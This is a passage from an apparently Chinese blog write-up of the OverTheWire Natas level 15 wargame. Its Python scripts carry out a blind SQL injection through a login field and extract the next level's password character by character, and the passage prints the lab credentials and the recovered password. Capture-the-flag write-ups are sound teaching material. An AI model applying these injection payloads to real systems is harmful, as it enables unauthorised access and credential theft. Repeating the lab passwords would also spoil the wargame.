# 遍历字符集合,检查每个字符是否存在于密码中的某一位
for char in string:
# 构造请求体数据,使用SQL注入语句判断密码中的某一位是否为当前字符
data = {
'username': 'natas16" and password like binary "%' + char + '%"-- '
}

# 发送POST请求,检查是否存在返回结果存在的提示
response = requests.post(url, auth=(username, password), data=data)
content = response.text

# 如果返回结果存在提示,则将当前字符添加到已知存在的字符集合中
if 'exists' in content:
exist += char

print(exist)

# 枚举密码的每一位
for num in range(0, 32):
# 遍历已知存在的字符集合
for char in exist:
# 构造请求体数据,使用已知的密码部分和已知存在的字符判断密码的下一位可能的取值
data = {
'username': 'natas16" and password like binary "' + passwd + char + '%"-- '
}

# 发送POST请求,检查是否存在返回结果存在的提示
response = requests.post(url, auth=(username, password), data=data)
content = response.text

# 如果返回结果存在提示,则将当前字符添加到密码中,并打印更新后的密码
if 'exists' in content:
passwd += char
print(passwd)

image

  • 函数封装
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests

url = 'http://natas15.natas.labs.overthewire.org/index.php'
username = 'natas15'
password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'
string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

def find_existing_chars(url=url, username=username, password=password, string=string):
# 打印密码表塔
print('密码表塔:')
exist = ''
for char in string:
data = {
'username': 'natas16"and password like binary "%' + char + '%"-- '
}
# 发送POST请求
response = requests.post(url, auth=(username, password), data=data)
content = response.text
# 检查响应内容中是否包含"exists"
if 'exists' in content:
# 将存在的字符添加到已有字符集合中
exist += char
print(exist)
return exist

def bruteforce_password(url=url, username=username, password=password, exist=string):
# 打印密码塔
print('密码塔:')
passwd = ''
# 预计密码长度为32位,因此循环32次
for num in range(0, 32):
for char in exist:
data = {
'username': 'natas16"and password like binary "'+passwd+char+'%"-- '
}
# 发送POST请求
response = requests.post(url, auth=(username, password),data=data)
content = response.text
# 检查响应内容中是否包含"exists"
if 'exists' in content:
# 将找到的字符添加到密码中
passwd += char
print(passwd)

# 调用函数bruteforce_password,传入find_existing_chars函数的返回值作为参数
bruteforce_password(exist=find_existing_chars())
  • TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

image

 评论